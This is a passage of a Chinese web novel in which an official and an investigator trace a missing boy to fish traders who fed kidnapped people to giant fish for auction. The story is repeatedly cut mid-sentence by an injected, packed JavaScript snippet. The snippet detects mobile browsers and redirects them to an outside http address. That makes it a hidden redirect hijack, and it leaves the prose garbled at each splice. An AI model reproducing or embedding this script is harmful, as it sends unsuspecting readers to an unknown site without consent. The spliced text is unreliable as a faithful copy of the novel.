王生大喜，将羊卖掉，得了一千五百钱。 荷包鼓囊起来，王生兴冲冲又上羊肉摊去，要了汤肉，坐等汉子给自己切肉盛汤。他向烟里看，不见羊汤娘子，唯见锅边拴着一只母羊。 瞳仁圆圆，睫毛纤细，一双美人目。 羊，好像人。 想起他卖掉的那只鬼化成的羊，不禁打个寒颤，这时汉子将羊肉端上来，肥美可口，羊汤放一侧，肉香四溢。扔掉烦恼大快朵颐一顿，吃得红光满面、汗水淋漓。 可是没有见到美人，难免遗憾，食色性也，缺一不可。 等到日暮收摊，王生偷偷跟随汉子找到他家，透过门缝见羊汤娘子正在井边浆洗衣服。她家中羊可真多，圈门里白花花一片，圈门外还拴着几只待宰。 洗衣水流了一地，流到羊脚边，羊刚舔了几口，磨刀的汉子扔了刀慌忙将羊扯开，对着娘子劈头盖脸一顿痛骂。 贼女人只会坏事，又要浪费他一顿饵药。 王生不明就里，趴在门缝外想多看几眼，汉子狐疑转头，盯住他露在门缝里的眼睛。而那两只舔了水的羊，腿软跪倒在地，从羊皮里钻出一男一女，张嘴无声向他求救。 这半年来王生不知吃下多少羊肉，不敢细想，吓得抱头鼠窜。他回到家中大病一场，后来又到野集去，再找不见羊肉摊—— "打住！打住！"灯姑合十双手在脸侧摇着求饶，"还以为你会讲些新鲜的，又是造畜之法，把人变成羊，变成驴，变成狗。小灯我都能倒背如流了。" 她痛苦眯一眼桌上的羊汤，索然无味："况且谁家好人喝羊汤的时候讲这些呀？你是不是故意倒我胃口。" 语气笃定，就是故意的。 洪垣被戳穿也不着急，拄着腮，歪斜的嘴说话模糊："这不是看见羊汤就想起来了，再说了，你没发最近麟城的羊价跌快三成？物多价贱，多出来的羊是哪来的，你不好奇？" 不好奇，一点也不好奇，至少在喝羊汤的时候不想好奇。 灯姑耸起肩膀甩起头，把碗推过去："你赢了，都归你。" 一只狗爪子恰时扒住桌沿，洪文简冒出狗头，洪垣把它拍下去："放宽心，这家店是老招牌，羊都是从麟城周边庄子上收的。" 灯姑勉强把碗移到跟前，闭着眼睛喝汤。 洪垣以前是不会特意跑半个麟城来下馆子的，不过田彩女在这新找了份后厨的活，远离以前的住所，少了很多闲话。她常来城隍庙里洒扫，和看门的洪垣熟络起来，洪垣也就常来照顾生意。 今日碰巧在这附近办事，便还是到这店里吃饭。 归家去的小鬼给洪垣留"卖鱼巷"三个字，猜了猜八成是他们被拐到麟城后又被转卖出去的地方。可麟城没有叫卖鱼巷的地方。 思索起来，他们当时是怎么说自己家的，卖鱼巷大概是指卖鱼的地方。 麟城有渌水河穿城而过，鱼货并不稀奇，城里卖鱼的地方可太多了。一处处走下来，鱼腥是沾了满身，就是不见什么蹊跷。 拐卖一事，经久不绝。人是人，也是货物，也是钱。从前想管也插不上手，救了眼前的救不了眼后的，这次有了些许眉目，就没有坐视不管的道理。 吃过午饭，又到下一个鱼市去。 街上熙熙攘攘，洪文简忽然兴冲冲蹿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874125|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去，洪垣朝它走去时，它已对萧慧极献过殷勤，坐在了一侧。 萧慧极带着陆班头和几个差役，正在公干。他不是洪垣这样的闲人，万奇珍案得了圣人嘉奖，这才旬月而已，又清了好几起积案。 "萧参军，大忙人。"她由衷感慨一句，心生好奇，"又查什么案子呢？" 萧慧极也不瞒她："左监门卫中郎将姚将军家的小郎君走失了，找了三天也没结果，托到我父亲那里。" "走失？" 何时走失？何处走失？因何走失？ 她一连串话还没脱口，萧慧极已知道她肚子里装些什么。 陆班头凑在一旁，更是积极："他家小郎君十三岁，患有痴傻之症，因此养在家中不让出门。但时间一长，家中仆人不免懒怠，三日前傍晚，趁主人外出，仆人聚会饮酒，玩闹过后才发觉小郎君不见了。四处寻找，见后门洞开，只有随身一只香囊掉落在门槛里。" 洪垣转动眼睛，哼哼片刻："是那孩子自己开门出去的？" "照理来说应该不是，姚家仆人说家主害怕小郎君乱跑，总说些志怪故事吓唬他，他平日连后门和围墙都不靠近。可后门是插上的，若不是他自己开的门，就是进贼了。" 陆班头说着，也学洪垣双指捏住下巴，突地头皮一凉，侧目见萧参军悠然瞧着自己，连忙往后大退三步。 萧慧极走了半步，到洪垣身畔，不近不远："是他自己开门出去的。" 洪垣抬起手，就这么翘起支在他肩上："为何？" "门闩上沾有糖稀，他的衣物房间里也多有抹蹭糖稀的痕迹，且仆人也说他手里总爱抓着糖吃。" 可左右监门卫将军应当住在城北，一个痴傻的孩子自己出门，不该走到这么远的地方，他们怎么会寻到这里来。 萧慧极从怀中拿出布袋，从中捏了一片东西给她看。 鱼鳞。 是一片很大的青鱼鱼鳞。 "这片鱼鳞也掉在门槛里，姚家上次吃鱼是两月前。故而，那时门外定有别人。" 这么大一片鱼鳞，被刮的鱼决计小不了，定是能让人惊呼"龙王现世"且记忆深刻的一条鱼。萧慧极是循着这条鱼找到此地的。 听到鱼，洪垣只能想到"卖鱼巷"三字，想到这三字，脑子不打弯就朝着拐带幼童奔去。 这些人如此猖狂，竟敢到威卫府头上造次。 左右监门卫隶属威卫府，威卫九卫居中御外，卫戍京师，谁想不通去触这霉头。若是被抓住，那小命能丢了也算幸事一桩。犯天大的风险，就为一个患了痴病的十三岁男童，拐去有何用处？ 难不成是他爹娘有仇家？ 正出神，萧慧极走朝前头："走吧，前头有个鱼市，专卖大鱼，听说几日前曾将一条足有人长的青鱼拍出天价。" 洪垣不得不讶异，天地真是神奇。这样大的鱼恐怕已有百岁，不成仙也成了精，可算得一宝。 是宝贝，就值钱。 25. 鲜汤（二） 长尾巷中卖鱼的众多，但鱼珠楼绝对是其中翘楚，它的门面有愧于它的名声，但这窄窄两扇门刻尽百年来风雨秋霜，告诉来客它能屹立不倒只因两条。 价廉。物美。 楼里引了河水围成鱼塘，一侧卖鱼，一侧做鱼，一侧吃鱼。 不想吃鱼买了便走，不喜楼里热火朝天烟气滚滚也多的是帮闲跑腿，顷刻间能将滚锅送到家中。 传言鱼珠楼曾网到一尾浑身金黄的大鱼，两客见了都想要，互不认输竞出高价。自那以后，约定俗成，每月店家都会搜罗奇鱼、大鱼拍卖。 锣喧鼓响，引得不少人围观，生意自是更上一层楼。 萧慧极今日穿着常服，在巷口就叫停陆班头和差役，单和洪垣领着狗进去。 灯姑坐在洪文简背上，刚刚吃过也不耽误现在又馋了，策狗在人堆里凑热闹。 本月鱼珠楼已拍过一次大鱼，楼里没有几个闲杂人，但照旧是人满为患，往来不绝。到了鱼店，洪垣到鱼塘边自己网鱼，要带一条回家。 塘中水深大约半人高，引的活水，因此养出塘底水草青苔。 灶台上正在做酿鱼，选好鱼宰杀腌制，填入炒好的葱姜碎羊肉，火上烤熟后香气扑鼻。 客人间还在谈论前两日拍走大青鱼的韦公子，那视钱如粪土的模样，令人妒恨称奇。 探过一楼，就是家生意火爆的鱼店，没什么古怪。 二楼据说是仓库，也能住人，可惜生人止步。 萧慧极回到鱼塘边时，洪垣提着串好的鱼，和伙计聊得热火朝天，见他过来，连忙招呼："萧慧极，快快，就等你了。" 他好像错过了什么，稀里糊涂被引着往后堂去。 侧目看洪垣，她朝自己一笑，志在必得，而后手穿过臂弯，拽着他往前拨开人堆。后堂较之前楼清静十成，似到了深山林中，刚浓烟热气、摩肩接踵挤出的一身汗瞬间消弭。 凉得像倒回到初春。 一直往里走，过了池塘山水，到一轩榭前，伙计请二人稍候，小跑进去通报主人。 "你骗他了？"萧慧极随口问。 "什么叫骗？这是智取。"她高扬眉眼，一脸认真低声澄清，"我在万珍园任职，为圣人遍寻天下珍奇自然是分内之事。比人长的鱼，难道不是珍奇？要是真能找到，我献给圣人，那就不是骗了。" 从她嘴里说出来的都是些鬼道理，骗不是骗，偷不是偷，萧慧极失笑。 说话间伙计出来，请他们入内详谈。 鱼珠楼主人坐在纱帐后，听声音是个青年男子，他声音轻快愉悦，如同唱歌。 “二位客人，惠植失礼，实在抱歉。我患有腿疾、面容不雅，恐怕惊吓了客人，因此遮掩面目，望客人原宥。” 主人如此客气，洪垣也拱手道明来意:“叨扰主家，我是万珍园麒麟使，姓洪，旁边这位是麟城府萧参军。圣人万寿日将近，我正四处寻找进献之物，听闻主人家有大鱼，愿以千金相求。” 千金？萧慧极背着手听她大言不惭，恐怕半金都掏不出来。还说不是骗。 惠植听罢，踉跄起身向他二人行礼:“能为圣人祝寿，是我鱼珠楼大幸。只是二位有所不知，楼中用于拍卖的所有大鱼，皆由鱼头拍卖当日供应，贵使若要求鱼，小人自当差遣家人领路。” 鱼头，意思浅白，是麟城鱼贩子的头头，这些人纠结人手，成行中一霸。 官府多次打压也难绝其根本，不到半年又死灰复燃。 当官的找过去，怕是不妥。 洪垣看向萧慧极，他眼睛下阖，算是点头。她亦点头道谢:“那便劳烦主人家。” 刚刚那个小伙计，姓李的，又领着他们走一遭。小李年纪小，藏不住话，一路上还在吹嘘前几日楼里拍出天价的大青鱼。 嘿，不说五十年百年，就说向前十年，朝后十年，也再见不到这么大这么肥的青鱼了。 也不知吃什么长得如此巨大，恐怕虾蚌小虫不够它果腹，得是吃了不少人才能活到今日。也别不信，虽然他生在太平年月，可早五十年战乱未休，过来人说那时的渌水河里天天漂着死人，谁说鱼不去吃呢。 人吃鱼，鱼又吃人，怎分得清谁才是盘中珍馐。 洪垣把放在萧慧极身上的鱼鳞拿出来给小李看，小李看一眼就说是那条青鱼的。 又问她从哪里得来。 洪垣高深莫测。 ——自然是有人相送，否则又怎能找到鱼珠楼来？ 能为条鱼一掷千金，如此财力令人艳羡，洪垣既然能得此鱼鳞赠礼，必然与那财主有些交情。小李一颗玲珑七窍心登时想多了，对洪垣加倍热情。 两人又谈起财主韦公子。 麟城中韦姓人家不多，有钱到令人咋舌的只那一户，洪垣听到姓氏就知是谁，和小李无论深聊浅聊都不露馅。 小李更确信自己所想，主动替洪垣担忧起来："二位都是官身，说句不好听的，仇人见面分外眼红，只怕二位讨不到鱼反讨一顿……" 他作势打嘴，把"好打"二字咽下去。 "小哥不必担心，我自有对策。待会儿你将我们带到，回去鱼珠楼巷口给那儿的陆班头带个信，让他领人便衣素服来找我们。"洪垣手搓两下，信手抛出一块碎银。 小李眼睛放光双手接住，一握藏进袖里，连声答应，忽然又面露难色："尊驾到底是我家主人介绍去，这要是打起来……" 可就要牵连无辜人了，今后的生意黄了可怎么说。 "你尽管放心就是了，我是文官，不动粗。"她笑盈盈，像朵和煦可亲的花，但怎么听都让人不安心。 小李讪讪笑，听见她身旁公子说话，问店中大鱼是否一直由鱼头供应，小李愣了愣，还以为那是个哑巴。 回神忙答道："那倒不是。从前到处搜寻，还不一定每月供得上，后来鱼头亲自登门拜访我家主人，承诺每月供给两到三条大鱼，这才稳定下来，虽然要分成，但总归好过什么都没有。" 萧慧极又问："分成多少？" 小李扭过头去，干巴巴笑："主人家的事，我们伙计怎么会知道。" 洪垣一声"哎"拉长，上赶着吹捧，又说他博学，又说他伶俐，定是主人的心腹，怎么会不知道呢？ 小李被他夸到天上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890582|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，怪不好意思，凑过来抚着她耳朵说悄悄话。洪垣若有所思点头："那赚的不少呀！" 做生意的好像最听不得别人说自己赚钱，小李赶紧龇牙跺脚："七成那是人家的！赚什么呀就赚个吆喝钱！" 洪垣只是笑，要是按那条青鱼一千两银子的成交价，鱼珠楼不需出本钱就得了三百两银子。这叫吆喝钱？这简直是无本万利的买卖。 她不欲同他强辩，和小李一唱一和数落起鱼头，简直是欺行霸市，是个强盗！ 萧慧极在旁静静地听，任由洪垣挽着，她知道萧慧极想听什么，套来套去，将鱼头此人打听得如□□。 此鱼头姓林，别人管他叫林老大，但他说自己其实叫林老二。去年老鱼头让官府抓去宰了偿还人命，林老二作为老鱼头的义子，理所当然继承了鱼头之位。 这个林老二是个莽夫，不怎么善于算计，年初刚被手下一批鱼贩造了反，那批人出走另立山头，如今他还在焦头烂额，计较着该招安还是该平乱。 鱼贩内讧是为了获利不均，更重要的则是为了女人。林老二实在好色，勾搭人家娘子，爬人墙头却不警醒，一朝被按在被窝里，就这么东窗事发。 也亏老鱼头留下了拍大鱼这独门生意，否则闹腾这一番早该散摊子。 说完这些，鱼头家也近了。林老二住在渌水河边另一个鱼市上，洪垣让小李先走，她同萧慧极自己敲门进去。 见小李走远，洪垣问他:“你有什么打算？” 萧慧极沉思不已。 姚小郎君走失，现场留下一片鱼鳞，这鱼鳞出自一尾巨大青鱼。落下这片鱼鳞之人，与小郎君走失脱不了干系。 小郎君走失是三日前的傍晚，鱼珠楼拍卖青鱼是两日前午时。拍卖当日，鱼才送抵，故而应查清鱼来到鱼珠楼前，都经过谁人的手。 如今情况不明，鱼头手下少说上百鱼贩，还是别贸然出动差役打草惊蛇。 于是回答:“先摸清这尾鱼来龙去脉，查明经手之人，再抓捕审问。” 洪垣没什么异议，抬脚就去踹门，萧慧极没来得及按住，那腿已经打横飞出去了。 刚刚说的，好像是敲门。 来不及管敲还是踹的，萧慧极将尴尬在半空的手收回身后。门里两口子也是一惊，一人手持擀面杖，一人抄着洗衣槌，看样子不颁檄文就要动手开战，真是人狠话不多。 门里门外均是没回过神，洪垣放好鱼，躬身小跑上前，拉起袖子掸去槛上尘土："苑丞，这便是那林鱼头家。" 她提臀收腹，折成标致的角，迎他进门，狗腿模样，不必进学已是浑然天成。 萧慧极立在门外，就那端着的姿态，一言不发正正好。 他眼神落在洪垣脸上，她连挤好几下眼睛。 林老二是个吃老本的莽夫，且如今正有一群叛党与他作对。此时若有一狗官从天而降，岂不美哉？ 好官难学，狗官还学不来吗？ 狗官垂眸愀然，九分不耐一分忍耐流露得淋漓尽致。狗腿子狗仗人势十分嚣张，指着那俩愣愣的鼻子："皇家苑丞屈尊来此，你等呆立在此，可是想吃板子？" 26. 鲜汤（三） 林老二自诩混迹江湖三十年，清官狗官他只需耸耸鼻尖就能闻出来。 那男的虽然没穿官服，但一走进来就是一股狗官味儿。狗官都是这样道貌盎然文质彬彬的白脸样，嘴上不喊打喊杀，端的一派霁月清风，实际上最是阴毒，杀人从不见血。 当然也有不少读书人是这番做派，但佳公子不会领着个狗腿子。 那狗腿子漂亮俊秀，但一副歹毒相，三白眼斜飞，却眯着笑，分明口蜜腹剑。 "林鱼头，你这生意赚的不少啊？" 狗官！绝对的狗官！ 接下来就该笑着说些弯弯绕绕，明里暗里威胁他交出生意来，若是交出来自然一起发财皆大欢喜，若是不交，民与官斗难如登天，有的是法子收拾他。等收拾了他，杀鸡儆过猴，下一任鱼头自然会乖乖合作。 毕竟那个秘密，不是单单他一人知道。 不过反过来想，狗官也有狗官的好处，他们求财不要命，只要不是把他的一亩三分地铲平，就有的聊。 洪垣尽心尽力、鞍前马后，萧慧极觉得她不是在演，她是乐在其中。 不管林老二如何谦卑地说自己就是做点小生意，洪垣一抬手打断他:“林老大不必自谦，我家主人能来此见你，就知道你做的什么生意。” “我家主人替——办事，”她朝天拱手，意有所指，“万寿日旬月便至，若你家奇物能见天颜，也是你的体面不是？” 他家还能有什么奇物，无非就是大鱼。 林老二没见过拿圣人出来骗人的，这两人气派又不是寻常人能有，侍奉天子之人，果真跋扈非常。况且只是要鱼，没什么好怕的，自定下心来作揖:“小人自当选出珍品献给贵人。这点小事，怎敢劳烦尊驾亲临，小人这便将鱼选好，送到府上。” 洪垣铺垫许久，萧慧极终于入戏，等林老二弯着腰汗都滴下，他才起眼轻悠悠云飘似的，那眼睛往这一荡:“小事？” “胡言乱语！”洪垣踩着话脚高声，皱眉使个眼色，让沏茶来的妇人赶紧退下。 “祝寿之事，岂能是小事？若不亲力亲为，有了半点差池，是拿你的头还是我的头去认罪？”她呵斥一番，侧飞个眼神，意思让林老二他赶紧认错。 林老二还弯着腰，看见她为自己打圆场，已把她当成热心大好人，赶快按她指示告罪:“小人失言，尊驾息怒。小人但凭尊驾吩咐，上刀山下火海，绝无怨言。” 萧慧极竭力回想宫里内侍如何说话，依样画葫芦道:“不必去什么刀山火海，韦公礼那鱼，是些什么人伺候？” 林老二听他直呼韦公子大名，又听他说些什么伺候，心里好笑，笑他真是不食人间烟火。 “这鱼从城外网来——” 话刚开头，就听洪垣一声咳:“我家主人意思是让你将他们找来，这鱼还要在府上养一段时日，自然要精心照顾。” 林老二听不太懂，也想不明白，鱼还需要什么照顾，水里一扔撒点食就行，或是开膛破肚吊个汤。但洪垣眼神催得紧，只好稀里糊涂地点头。 他刚出门，洪垣追上来，擦着脑门上的汗一通数落:“林老大啊林老大，你怎么不清醒，惹了主人不高兴，今晚就把你变鱼食！我刚刚说的，你懂了没？” 林老二晕头转向，目光呆滞摇头。 她恨铁不成钢砸手:“你鱼都哪来的？” 他眼睛一缩，强装憨厚傻笑:“网……网的。” “你一人网的？” “自然，自然不是，都是众多兄弟……” “好了，”她又不耐烦挥手打断，“你将网到那青鱼的人找来，运到你这的，照管的，运到鱼珠楼的，原模原样统统找来。我家主人听说那鱼活蹦乱跳的，说这些人手脚利落，就要他们伺候。等人到齐了，再去挑鱼，你可不许再出岔子！” 林老二只会应好，她脸色又一变，挑挑眉抛出些许奸滑:“这事要是办的好，少不了你的好处。主人高兴，有的事自然就平了，你那鱼见了天，还愁无人捧着金银追风来买？这些你可明白？” 这回明白，绝对地明白。心里赞叹，青天大老爷好啊！ 他一门心思想着发财，片刻就回，心里装的浆糊搞不清贵人要什么不要什么，不管三七二十一把做大鱼生意的心腹爱将一股脑叫到家中，挨个向贵人介绍。 全都是自家兄弟，绝对可靠。 转头看见自家院里多了些人，带头的他认识，连忙问好："陆头，你怎么到这来了，今日不当值？" 陆班头笑呵呵："府尹命我等前来伺候。" 哎呦，林老二嘬起要笑咧的嘴，果真是大官，连府尹大老爷都不敢怠慢。陆班头揽着他的肩，招呼一群人先到府上去，贵人坐轿后行。 一路浮想联翩，只是路越走越不对劲，走着走着来到麟城府公廨门前。林老二忐忑偷觑一眼，想开口寻个明白话，陆班头拍拍他肩，大咧咧笑。 一时冷汗从腿到头，脚戴了千斤枷。 心里只一个念头，坏了，被骗了，这一天还是来了。 陆班头将他们押在大堂等候，不一会儿方才那狗官和狗腿子来了，狗官在侧面落座，手里拿着一物问道："此物你们可认得？" 眯眼一看，是一片鱼鳞，看大小颜色应是前几日那条大青鱼的。 林老二扭腿踢了旁边一人，少年扑通跪下，磕磕巴巴："回、回官爷，这是鱼珠楼所拍青鱼鱼鳞。老鱼头交代的，说大鱼都是几十年乃至，百年以上岁数，有了灵气。我们将其捕杀，怕它们前来寻仇，所以每鱼拔下一麟，掩埋立坟，每年祭拜平息它们的怨气。" 萧慧极上下扫他几眼："这鱼鳞是你拔的？" "是。"少年点头，声若蚊蝇。 "三日前傍晚，你在何处？" 堂下心虚做鹌鹑状的众人闻言抬头对对眼睛，你顶顶我我戳戳你，虽不出声但嘴脸上千言万语颇嘈杂吵闹。寂静堂中只听咯咯……咯咯…… 是那少年牙齿打颤。 萧慧极不急，将手中鱼鳞置于桌上："姚小郎君现在何处？" 听不懂的人痴痴呆呆，有空挠挠耳朵打个眼神架，听得懂的人唇白脸红，热汗冷汗一起淌下。僵持了数息，陆班头肩颈酸痛想松快松快，转动一圈骨头咯吱作响。 少年以为他要打人，吓得侧倒趴在地上。 "是苹姐！是苹姐叫我抱走的！" 苹姐？洪垣蹙眉。 林老二听到这名字如耗子受了惊，不顾官差在场就想莽起去捂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895065|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那少年，可惜晚了一步，还没伸手少年已哆哆嗦嗦道出实情。 "那日我在街上闲逛，遇见苹姐，她叫我帮她干活，她答应我领我到她那儿赚大钱，我便跟着去了。到了薛家巷，我听她在门前叫小弟，小弟，过了会儿有孩子把门打开，苹姐便让我把孩子牵走。" 说到后边惊吓哽咽，涕泪蜿蜒，看上去不像扯谎。 萧慧极接着问："你把孩子牵到哪了？" "牵到苹姐那，城外羊庄，胡子哥接走的。" "这个苹姐又是何许人？" 林老二等不了，抢着开口："是和胡子一起贩羊的！贩羊的……" 他被萧慧极瞧一眼，气势顿消，声音跌进土里，矮到没影。萧慧极瞧这群人古里古怪，肚子里明明藏着事，戏演得拙劣，看不出有假都算他眼瞎。 有心诈上一诈，于是模棱两可道："林老二，你不擅长演戏也不擅长撒谎，不要以为你做的事天衣无缝，岂不闻天理昭彰、报应不爽？" 洪垣凑上去，咬着他耳朵说悄悄话，话毕起身，看着堂下人心满意足微笑。 林老二觉得那笑眼熟，像看一块肥肉，一只待宰的年猪。 她一个眼神，陆班头会意，眼神又递出去，差役三两下把堂门合上。 一群人真吓到了，这般默契，看来下过的黑手没有上千也该上百。慌里慌张挤做一堆，恶差役手持水火棍围拢上来，林老二挣长脖子红了脸："兄弟们！跟他们拼了！" 他的兄弟们倒是冷静，在公堂上和当差的拼。疯了？ 一个个都往后退，把林老二挤得肩收到胸前，脖子不得不鸣金收兵。 洪垣从堂后绕出来，手里拿一叠纸，集市上卖菜般同他们好言商量："林老大，你也算个人物，应当死得其所。你看，这个人替母报仇，杀了仇家满门，这人呢不堪主人毒打，愤而还击失手杀人，此类案件还有许多。咱们参军是心善的，见他们杀人情有可原，故不忍他们赴死。正好你们犯的都是死罪，替他们画押受刑，也全了英雄的名声，好是不好？" "好个屁啊！"林老二血气上涌，"狗官！你们这些狗官！你这是屈打成招！不对，是逼良为娼！" 也不对，到底该怎么说来着。脑袋嗡嗡的，血都充到发尖。 洪垣大笑，拄着肚子指他："你还知道屈打成招呢？我告诉你，管你说什么，这门一关你插翅难逃。你们这群刁民，竟敢在公堂之上对抗官府，就地打死也是稀松平常。" "等你死了，我拿筷子夹起你指头，沾点儿你的血按上手印——哎呀，虽说有点瑕疵，但还是十全十美嘛。" 呼哧呼哧，林老二眼睛红透，太歹毒了这人，亏他还以为是个好心肠的。 气还在脑门上，察觉身旁有人偷瞟他，这群狗东西，怕不是想推他出去顶罪。 不妥！得先下手为强。 "我就是个看门的！我没害人！我不死啊！"平地一声惨嚎，林老二出师未捷，让横趴在地上的小子抢了先。 萧慧极抬了下手指，洪垣弯腰一溜烟到他跟前，边奉茶边笑："你害不害人的，我怎么会知道？" 少年平静了一瞬，在那群人晃过神来瞪眼时开口："我知道他们把人埋在哪了。" 27. 鲜汤（四） 刘野羊常感慨自己没生在好时候，哪怕晚生十年，也不必吃那么多苦。 人的记忆太过隽永，苦的余味太过顽强。 即便加再多的水，用一辈子来稀释，也只能冲淡那种味道。 刘野羊生在路边，跟着一个瘦女人长大，他也不知道那是不是自己娘，瘦女人总说他娘早死了。可他觉得跟在她屁股后头，就是有娘的感觉。 他跟着瘦女人姓刘，野羊是她死掉的娃的名字。 每个娃都叫野羊，每个都死掉了。 逃难的路每时每刻都不太平，总有干枯的脸对着他龟裂出笑容，黄土泥泞的牙，嘴里黑黝黝像口亟待食物的锅。 瘦女人会一脚踹在比她更瘦弱的人脸上，骂着看什么看，手拽走别人藏在身上的一袋干豆子。 刘野羊是如此长到五六岁的，他仰头在后，在瘦女人窄窄的影子里。 她是小草，她是大树。 他们总在那片原野上游荡，地王来时藏在河沟里，地王走时如春芽冒出土地。 他也曾被追赶，被骑着马的猎犬赶入地王的羊圈，在茫茫的旷野中与瘦女人失散。 圈前在宰羊，篝火前人、狗、马载歌载舞，他没空想别人的生死，将自己缩小再缩小，从栅栏的缝隙中钻出。勒紧的双臂打开，新鲜空气流入胸腔，他顺着星星一路狂奔，崴了脚滚进河里。 刘野羊会水，可在恐惧中好似全然忘记，他看见自己立在水里，脚尖向下，一尾大鱼奋力向上，将他驼出水面。 也是他命不该绝，竟死里逃生回到岸上，大鱼在河岸边搁浅，嘴一张一合，胡须颤动。 鱼的眼睛不会闭上，鱼看着他，他看着鱼。 可是他饿了。 于是眼看着鱼断了气。 用兜里磨了许多年的石头剖开鱼腹，十指伸进去，摸出十一指。 掏出对月细看，是根漂亮的脚趾。 他将那东西扔进河里，乱割下一块肉，不敢生火，捧着生鱼肉咬一口。好苦，他把鱼胆弄破了。 简直是世间最苦的东西，苦到流眼泪，他在河水里反复冲刷鱼肉，也吃不下第二口。抗拒苦味的嘴救了他一命，后来他才知道鱼胆是有毒的。 嘴里的苦味始终萦绕着，等他把没有沾上胆汁的鱼肉吃完也未消失。 刘野羊又在原野上游荡，寻找瘦女人，寻找吃的。这片贫瘠的土地被向下刮了三尺，连死人都掏净，找不到瘦女人，土地也养不活他。 他朝着河磕三个头，离开了生长的原野。 走在徘徊的路上，肚子像个无底洞，嘴巴像个百宝箱，什么稀奇古怪的东西都能放进去。吃不死就接着吃。 十几岁时，天下太平了，骑在马上的狗变成人，用鞭子把他赶到麟城。 他这棵秧苗被插在麟城的土里，天要他在这里扎根。 麟城是个好地方，麟城的河里有鱼，那鱼圆滚滚的，不会尾巴一打窜进石缝里。麟城的鱼不苦，是甜的，鱼汤很鲜，比血滚烫。 刘野羊打鱼贩鱼，在鱼贩中混出了名堂。他用石头杀鱼，耍的比刀利索，一传十，十传百，二十年过去，他膝下有了许多孝子贤孙。 人家尊称他一声鱼头，他早不甘心只做鱼生意。 卖人卖鱼，其实都一样。都是用船拉来，都是换回银子。渌水河流的是黄金，带来源源不断的鱼、人、钱。 带来四野的哭声和唾骂，他心肠很硬，自觉与己无关。 刘野羊做的不是独家生意，他知道陆上也有这桩买卖，麟城四方城门迎纳万物，路与河都能通往万方，他们各做各的生意，井水不犯河水。 可官府管的越来越宽，这生意也不那么好做了。运货的船出了好几次事，衙门看他们拉帮结派也很不顺眼，他急需一个新门路，鱼珠楼高价收大鱼的消息就这么传到他耳里。 是个挣钱的买卖。 唯一的难处是，宝贝之所以是宝贝，就是因为够少够难找，能令人甘愿千金一挥的鱼不是想网就能网到。 网不到那就养，想到那根鱼腹中的脚趾，想到渌水河鱼吃人的传说。他领着孝子贤孙连夜挖坟，快五十年没干这事了，还是信手拈来。 挖空心思，鱼却快死光了。 一圈人围着鱼塘摇头，林二说这肉都烂没了，鱼啥也吃不到啊。刘野羊觉得对，林二极少这般出门记得带上脑子。 他挨个摸他们膀子，挑个不肥不瘦总爱顶嘴的，一铲掀进池里，小子站在水里骂他，其余人围着笑闹。他换了把钉耙，把骂骂咧咧的小子按进水里。 笑声停了，一个月后鱼还是活蹦乱跳的，他开始去找外人来喂鱼。路边的乞儿、离家的媳妇儿、来寻亲的外乡人…… 整整养了一年，骨头捡了好几箩筐，鱼养成了，银子又开始流进兜里。 刘野羊也会放几条小鱼进去，养上一两月宰了吊汤喝，除了他没人吃这塘里的鱼。 他们没有挨过饿，不懂这汤的滋味，熬煮了世间最炽烈的情感，化在水里，滚出奶白色。 喝上一口，别人的命续进自己的命里，延年益寿了。 所以他年过六旬凡事还能亲力亲为，包括上街去抓小乞儿。他精神抖擞地去，把人哄到巷口，总觉得心突突怕是哄错人了，果真小乞儿看一眼深巷拔腿就溜，他追上去一石头敲碎了小小的后脑勺。 没事，还有点气，还新鲜。 常在河边走，哪能不湿鞋。巡夜的差役将他当场拿获，秋后他的鱼头落地，死前想起自己瘦瘦的娘。 已六十年生死不相见。 这个野羊也死了。 刘野羊走了，后主林二登上大位，他是个不贤的掌舵人，不到一年就翻了船。 少年开口后，别人也没法闭嘴，晚一点错就成了自己的，只有林老二插不上话，双拳一握就要动手打人。只有一件事，难得统一口径，人都是老鱼头亲手杀的，他们有胆子分钱，但没胆子杀人。 可这轮不到他们说了算。 本以为是兄弟齐心，其利断金，结局是兄弟离心，很伤脑筋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 